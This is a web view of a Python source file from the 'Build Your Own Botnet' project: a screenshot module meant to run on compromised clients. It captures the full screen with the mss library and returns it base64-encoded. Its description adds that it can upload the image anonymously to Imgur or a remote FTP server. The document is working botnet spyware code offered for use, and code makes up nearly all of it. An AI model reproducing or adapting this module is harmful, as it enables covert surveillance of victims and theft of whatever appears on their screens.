Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
malwaredllc
GitHub Repository: malwaredllc/byob
Path: blob/master/web-gui/buildyourownbotnet/modules/screenshot.py
1292 views
1
#!/usr/bin/python
2
# -*- coding: utf-8 -*-
3
'Screenshot (Build Your Own Botnet)'
4
5
# standard library
6
import base64
7
8
# packages
9
import mss
10
11
# modules
12
import util
13
14
# globals
15
command = True
16
packages = ['mss','util']
17
platforms = ['win32','linux2','darwin']
18
usage = 'screenshot [imgur/ftp] [option=value, ...]'
19
description = """
20
Capture a screenshot on the client and optionally upload anonymously to
21
Imgur or to a remote FTP server (default: save image on local host machine)
22
"""
23
24
# main
25
def run():
26
"""
27
Capture a screenshot
28
29
"""
30
try:
31
with mss.mss() as screen:
32
img = screen.grab(screen.monitors[0])
33
data = util.png(img)
34
return base64.b64encode(data)
35
except Exception as e:
36
return "{} error: {}".format(run.__name__, str(e))
37
38